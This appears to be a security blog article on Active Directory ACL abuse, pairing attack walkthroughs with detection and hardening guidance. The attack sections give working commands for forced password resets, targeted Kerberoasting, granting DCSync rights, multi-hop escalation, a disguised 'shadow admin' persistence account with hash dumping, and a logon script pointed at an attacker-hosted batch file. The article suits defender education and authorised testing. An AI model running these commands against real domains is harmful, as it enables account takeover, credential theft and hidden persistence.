Skip to Content
Active Directory ACL exploitation and privilege escalation techniques

Active Directory ACL abuse: from misconfigured ACEs to Domain Admin

How to find and abuse dangerous ACEs in Active Directory with PowerView, BloodHound and Impacket, and how defenders can detect and remove them.

Nov 24, 2025
Updated Nov 22, 2026
19 min read

Introduction

Every object in Active Directory (user, group, computer, OU) carries an access control list that says who can do what to it. Those permissions pile up over years of delegation, migrations and one-off fixes, and nobody reviews them. Weak passwords and missing patches show up in a scan. A help desk group that can reset passwords on an admin, or a service account with GenericAll on a privileged group, does not.

If the low-privilege account you compromised holds one of these rights, you can use it to escalate, move laterally, or plant persistence that survives password changes and reboots. The rights are legitimate, so using them rarely trips anything unless the defenders audit directory changes.

Scanners do not find these

A vulnerability scanner sees nothing wrong with an over-broad ACE because it is a valid permission. These paths usually stay unknown until someone runs BloodHound against the domain.

Technical background

ACLs and DACLs

In Active Directory, ACLs come in two forms: discretionary access control lists (DACLs) and system access control lists (SACLs). The DACL says which principals are allowed or denied access to an object. The SACL controls which access attempts get audited. The DACL is the one you abuse.

A DACL is a list of access control entries (ACEs). Each ACE holds:

  1. The security identifier (SID) of the user or group it applies to
  2. The ACE type (allow, deny, or system audit)
  3. Inheritance flags that decide whether child objects inherit it
  4. An access mask, a 32-bit value encoding the rights granted

When a user accesses an Active Directory object, the system evaluates the DACL in a fixed order. Explicit deny entries are processed first, followed by explicit allow entries. If no DACL exists for an object, all users are granted full access. Conversely, if a DACL exists but contains no ACE entries, all access is denied.

Dangerous ACE permissions

These are the rights worth looking for:

PermissionDescriptionAttack Potential
ForceChangePasswordAllows resetting a user's password without knowing the current passwordDirect account takeover without alerting the target user initially
GenericAllGrants full control over the target objectEnables password resets, group membership changes, and Kerberoasting
GenericWriteAllows modification of most object attributesCan assign SPNs for Kerberoasting or modify object properties
WriteOwnerAllows changing the owner of an objectOwner can modify permissions, leading to full control
WriteDACLAllows modification of the object's DACLAttacker can grant themselves any permission
AllExtendedRightsGrants all extended rights including sensitive operationsIncludes password resets and other privileged operations
AddMemberAllows adding members to a groupDirect privilege escalation by joining privileged groups
SelfAllows adding oneself to a groupSelf-service privilege escalation

Extended rights

Active Directory also defines extended rights, which grant one specific operation each:

Extended rightWhat it allows
User-Force-Change-PasswordReset a user's password without knowing the current one
DS-Replication-Get-ChangesReplicate directory changes; one half of what DCSync needs
DS-Replication-Get-Changes-AllReplicate secret attributes too; with the above, enough for DCSync
ReadGMSAPasswordRead a group managed service account's password
Unexpire-PasswordStop a password from expiring

Security reviews tend to skip extended rights. The two replication rights on the domain object are enough to dump every hash in the domain.

Enumeration and discovery

Manual enumeration with PowerShell

The built-in cmdlets can read ACLs, but the output is hard to filter:

# Get ACL for a specific user object
Get-Acl "AD:\CN=targetuser,CN=Users,DC=domain,DC=local" | Format-List

# Enumerate all users with specific ACL permissions
$users = Get-ADUser -Filter * -Properties nTSecurityDescriptor
foreach ($user in $users) {
    $acl = Get-Acl "AD:\$($user.DistinguishedName)"
    $acl.Access | Where-Object {
        $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner" -and
        $_.AccessControlType -eq "Allow"
    }
}

# Find objects where a specific user has permissions
$identity = "DOMAIN\username"
Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
    $acl = Get-Acl "AD:\$($_.DistinguishedName)" -ErrorAction SilentlyContinue
    if ($acl.Access | Where-Object {$_.IdentityReference -eq $identity}) {
        Write-Host "User has permissions on: $($_.DistinguishedName)"
    }
}

Enumeration with PowerView

PowerView from PowerSploit resolves GUIDs to right names and filters far better:

# Import PowerView
Import-Module .\PowerView.ps1

# Find all users with interesting ACL permissions
Find-InterestingDomainAcl -ResolveGUIDs

# Find ACLs for a specific user
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs

# Find objects where a specific user/group has ACL permissions
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.SecurityIdentifier -eq (ConvertTo-SID username)
}

# Enumerate ACLs modified recently
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.ModifyDate -gt (Get-Date).AddDays(-90)
}

# Find all users who can modify group membership
Get-DomainGroup | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "WriteProperty" -and
    $_.ObjectAceType -eq "Member"
}

BloodHound analysis

BloodHound turns the ACL data into a graph, so multi-hop paths become visible:

# Collect data with SharpHound
.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp

# From Linux with bloodhound-python
bloodhound-python -u username -p password -d domain.local -ns 10.10.10.10 -c All

Cypher queries for ACL paths:

// Find shortest paths to Domain Admins via ACL abuse
MATCH (n:User {owned:true}), (m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}),
p=shortestPath((n)-[r:MemberOf|AdminTo|HasSession|Contains|GPLink|AllowedToDelegate|
ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|
ExecuteDCOM|AllowedToAct|ReadLAPSPassword|ReadGMSAPassword|DCSync|AddMember|
AddAllowedToAct|AddSelf*1..]->(m))
RETURN p

// Find all users with ForceChangePassword rights
MATCH p=(u:User)-[r:ForceChangePassword]->(n:User)
RETURN p

// Find users who can add members to groups
MATCH p=(u:User)-[r:AddMember]->(g:Group)
WHERE g.highvalue = true
RETURN p

// Find users with GenericAll on other users
MATCH p=(u:User)-[r:GenericAll]->(n:User)
WHERE u.name <> n.name
RETURN p

// Find WriteDACL permissions on Domain Admins
MATCH p=(n)-[r:WriteDacl]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN p

// Find all ACL attack paths from owned users
MATCH (u:User {owned:true})
MATCH (m:Group {highvalue:true})
MATCH p=shortestPath((u)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl|
ForceChangePassword|AllExtendedRights*1..]->(m))
RETURN p

Attack techniques

ForceChangePassword

With ForceChangePassword over a user you can reset their password without knowing the current one. The user will notice when their old password stops working, so do this when you are ready to use the account:

# Using PowerView
Set-DomainUserPassword -Identity targetuser -Password (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose

# Using Active Directory module
Set-ADAccountPassword -Identity targetuser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewPass123!" -Force)

# Force password change at next logon (for stealth)
Set-ADUser -Identity targetuser -ChangePasswordAtLogon $true

From Linux:

# Using rpcclient
rpcclient -U "DOMAIN/username%password" //dc01.domain.local
rpcclient $> setuserinfo2 targetuser 23 'NewPassword123!'

# Using net rpc (Samba tools)
net rpc password targetuser NewPassword123! -U username -S dc01.domain.local

GenericAll

GenericAll is full control over the object. On a user or group, that gives you several options:

Reset the password:

# Reset target password
Set-ADAccountPassword -Identity targetuser -NewPassword (ConvertTo-SecureString 'AttackerPass123!' -AsPlainText -Force) -Reset

Targeted Kerberoasting (set an SPN, request a ticket, crack it offline):

# Add SPN to user account
Set-ADUser -Identity targetuser -ServicePrincipalNames @{Add='HTTP/fake.domain.local'}

# Request TGS ticket for offline cracking
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/fake.domain.local"

# Export ticket with Rubeus
.\Rubeus.exe kerberoast /user:targetuser /simple

# Crack with Hashcat
hashcat -m 13100 ticket.txt wordlist.txt -r rules/best64.rule

Change group membership:

# Add user to privileged group
Add-ADGroupMember -Identity "Domain Admins" -Members targetuser

WriteDACL

WriteDACL lets you edit the object's DACL, so you can grant yourself any right on it:

# Grant yourself GenericAll using PowerView
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity username -Rights All -Verbose

# Grant DCSync rights to your account
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity username -Rights DCSync -Verbose

# Using Active Directory module
$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"
$user = Get-ADUser username
$sid = [System.Security.Principal.SecurityIdentifier]$user.SID
$identity = [System.Security.Principal.IdentityReference]$sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights]::GenericAll
$type = [System.Security.AccessControl.AccessControlType]::Allow
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$adRights,$type)
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl -Path "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"

From Linux with Impacket:

# Grant DCSync rights to user
impacket-dacledit -action write -rights DCSync -principal username -target "DC=domain,DC=local" domain.local/username:password

# Grant Full Control over Domain Admins group
impacket-dacledit -action write -rights FullControl -principal username -target "CN=Domain Admins,CN=Users,DC=domain,DC=local" domain.local/username:password

WriteOwner

WriteOwner lets you make yourself the owner. Owners can always edit the DACL, so the next step is granting yourself full control:

# Change owner using PowerView
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity username

# Grant yourself full control after taking ownership
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity username -Rights All

# Using AD module
$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"
$user = Get-ADUser username
$acl.SetOwner([System.Security.Principal.SecurityIdentifier]$user.SID)
Set-Acl -AclObject $acl -Path "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"

GenericWrite

GenericWrite lets you write most non-protected attributes on the object:

# Add SPN for Kerberoasting
Set-ADUser -Identity targetuser -ServicePrincipalNames @{Add='HTTP/malicious.domain.local'}

# Modify scriptPath to execute malicious script at logon
Set-ADUser -Identity targetuser -ScriptPath "\\attacker\share\malicious.bat"

# Modify description field (for social engineering)
Set-ADUser -Identity targetuser -Description "Contact IT at fake-support@attacker.com for password resets"

# Enable account if disabled
Enable-ADAccount -Identity targetuser

# Disable pre-authentication (for AS-REP roasting)
Set-ADAccountControl -Identity targetuser -DoesNotRequirePreAuth $true

Chaining rights

Multi-hop paths

A single ACE rarely gets you to Domain Admins. Usually you chain several:

Scenario: compromised user -> HelpDesk group -> IT Admins -> Domain Admins

Step 1: User has GenericAll over HelpDesk group
Add-ADGroupMember -Identity "HelpDesk" -Members compromiseduser

Step 2: HelpDesk has ForceChangePassword over IT Admins member
Set-ADAccountPassword -Identity itadmin -NewPassword $newpass -Reset

Step 3: IT Admin has WriteDACL over Domain Admins
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity itadmin -Rights All

Step 4: Add compromised user to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members compromiseduser

Shadow admin for persistence

An account with DCSync rights and no group membership in any admin group is easy to miss in a review:

# Create inconspicuous user account
New-ADUser -Name "svc-monitoring" -SamAccountName "svc-monitoring" -UserPrincipalName "svc-monitoring@domain.local" -AccountPassword $securepass -Enabled $true -Description "Performance monitoring service account"

# Grant DCSync rights (works from any network location)
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity "svc-monitoring" -Rights DCSync

# Grant GenericAll over Domain Admins (for account manipulation)
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "svc-monitoring" -Rights All

# Dump credentials remotely
secretsdump.py domain.local/svc-monitoring:password@dc01.domain.local -just-dc

Detection

Event logs

Watch for DACL changes on sensitive objects and for replication requests from non-DC accounts.

Event ID 4670 (permissions on an object were changed):

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4670)]]
      and
      *[EventData[Data[@Name='ObjectName'] and (contains(., 'Domain Admins') or contains(., 'Enterprise Admins'))]]
    </Select>
  </Query>
</QueryList>

Event ID 4662 (an operation was performed on an object). The two GUIDs are the replication extended rights used by DCSync:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4662)]]
      and
      *[EventData[Data[@Name='Properties'] and (contains(., '00299570-246d-11d0-a768-00aa006e0529') or contains(., '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'))]]
    </Select>
  </Query>
</QueryList>

PowerShell audit script

# Monitor sensitive object ACLs
$targets = @(
    "CN=Domain Admins,CN=Users,DC=domain,DC=local",
    "CN=Enterprise Admins,CN=Users,DC=domain,DC=local",
    "CN=Administrators,CN=Builtin,DC=domain,DC=local",
    "DC=domain,DC=local"
)

foreach ($target in $targets) {
    $acl = Get-Acl "AD:\$target"
    $acl.Access | Where-Object {
        $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner" -and
        $_.AccessControlType -eq "Allow" -and
        $_.IdentityReference -notmatch "SYSTEM|Domain Admins|Enterprise Admins"
    } | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType, @{N='Object';E={$target}}
}

SIEM rules

Splunk:

index=windows EventCode=4670
| where ObjectName IN ("*Domain Admins*", "*Enterprise Admins*", "*Administrators*")
| stats count by SubjectUserName, ObjectName, AccessMask
| where count > 1

Sentinel KQL:

SecurityEvent
| where EventID == 4670
| where ObjectName contains "Domain Admins" or ObjectName contains "Enterprise Admins"
| where SubjectUserName !in ("SYSTEM", "Administrator")
| project TimeGenerated, SubjectUserName, ObjectName, Properties

Defensive measures

Regular ACL audits

# Comprehensive ACL audit script
$report = @()

# Audit critical groups
$criticalGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
foreach ($group in $criticalGroups) {
    $dn = (Get-ADGroup $group).DistinguishedName
    $acl = Get-Acl "AD:\$dn"

    $acl.Access | Where-Object {
        $_.AccessControlType -eq "Allow" -and
        $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
    } | ForEach-Object {
        $report += [PSCustomObject]@{
            Object = $group
            Identity = $_.IdentityReference
            Rights = $_.ActiveDirectoryRights
            InheritanceFlags = $_.InheritanceFlags
        }
    }
}

# Export to CSV
$report | Export-Csv -Path "ACL_Audit_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation

AdminSDHolder

SDProp copies the AdminSDHolder ACL onto every protected account and group, so a bad ACE there spreads to all of them. Check it and watch it:

# Check AdminSDHolder ACL
$adminSDHolder = "CN=AdminSDHolder,CN=System,DC=domain,DC=local"
Get-Acl "AD:\$adminSDHolder" | Select-Object -ExpandProperty Access

# Monitor SDProp execution
Get-WinEvent -LogName "Directory Service" -FilterXPath "*[System[(EventID=16969)]]" |
    Select-Object TimeCreated, Message

# Read adminCount on a protected account (SDProp sets it to 1). This reads the attribute, it does not run SDProp
repadmin /showattr "DC=domain,DC=local" /filter:"(samAccountName=Administrator)" /atts:adminCount

Protected Users group

# Add privileged accounts to Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members @(
    "Domain Admin 1",
    "Enterprise Admin 1"
)
# Do not add service or computer accounts. Microsoft says never to: membership gives them no local protection, because the password is always available on the host.

# Verify membership
Get-ADGroupMember -Identity "Protected Users" | Select-Object Name, SamAccountName

Remove excessive permissions

# Remove dangerous ACE from Domain Admins
$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"
$user = Get-ADUser dangeroususername
$sid = [System.Security.Principal.SecurityIdentifier]$user.SID

$acl.Access | Where-Object {
    $_.IdentityReference -eq $sid -and
    $_.ActiveDirectoryRights -match "GenericAll|WriteDacl"
} | ForEach-Object {
    $acl.RemoveAccessRule($_)
}

Set-Acl -AclObject $acl -Path "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"

Remediation

Least privilege

  • Review and document all accounts with privileged ACL permissions
  • Use just-in-time access (PIM) instead of standing ACL permissions
  • Implement time-bound privilege escalation workflows

Separate administrative duties

  • Separate Help Desk password reset rights from IT administration
  • Create tiered administrative models (Tier 0, 1, 2)
  • Use dedicated administrative accounts for privileged operations
  • Implement jump servers for administrative access

Monitoring and alerting

  • Enable Advanced Audit Policy for object access
  • Monitor Event IDs 4670, 4662, 5136, and 4738
  • Establish baselines for normal ACL modification patterns
  • Alert on unexpected modifications to sensitive objects

ACL hardening checklist

  • Remove unnecessary ACL permissions from Domain Admins group
  • Audit and minimize accounts in privileged groups
  • Configure AdminSDHolder correctly
  • Enable Advanced Security Audit Policy
  • Implement Protected Users group for Tier 0 accounts
  • Document and review extended rights assignments
  • Remove legacy ACL permissions from object migrations
  • Test ACL changes in non-production environment first

Verification and testing

Check the defences

# Test 1: Find overly permissive ACLs
Get-ADObject -Filter * -Properties nTSecurityDescriptor |
    ForEach-Object {
        $acl = Get-Acl "AD:\$($_.DistinguishedName)" -ErrorAction SilentlyContinue
        $acl.Access | Where-Object {
            $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner" -and
            $_.AccessControlType -eq "Allow" -and
            $_.IdentityReference -match "Authenticated Users|Everyone|Users"
        }
    } | Select-Object IdentityReference, ActiveDirectoryRights, IsInherited

# Test 2: Verify AdminSDHolder configuration
$adminSDHolder = Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local"
$adminSDHolder.Access | Where-Object {
    $_.IdentityReference -notmatch "SYSTEM|Domain Admins|Enterprise Admins" -and
    $_.AccessControlType -eq "Allow"
}

# Test 3: Find protected accounts not in Protected Users
$protectedAccounts = Get-ADUser -Filter {AdminCount -eq 1}
$protectedUsersMembers = Get-ADGroupMember -Identity "Protected Users"
Compare-Object $protectedAccounts $protectedUsersMembers -Property SamAccountName

Simulate attack scenarios

# Controlled test (with authorization)
# Test 1: Verify ForceChangePassword detection
Set-ADAccountPassword -Identity testuser -Reset -NewPassword $testpass -WhatIf

# Test 2: Verify WriteDACL monitoring
# Monitor Event ID 4670 after executing:
Add-DomainObjectAcl -TargetIdentity testgroup -PrincipalIdentity testuser -Rights All -Verbose -WhatIf

# Test 3: Verify alerting on sensitive group ACL changes
# Check SIEM alerts after modifying ACL on Domain Admins

References

MITRE ATT&CK techniques

Microsoft documentation

Security research

Tool documentation

Next steps

If ACL vulnerabilities are identified:

  • Work out how far the excessive permissions reach across the domain
  • Turn on monitoring for Event IDs 4670, 4662 and 5136
  • Run BloodHound to find the multi-hop paths
  • Remove permissions nobody can justify
  • Document the ACL permissions that are approved, so later audits have a baseline
  • Related Active Directory attack techniques:

On this page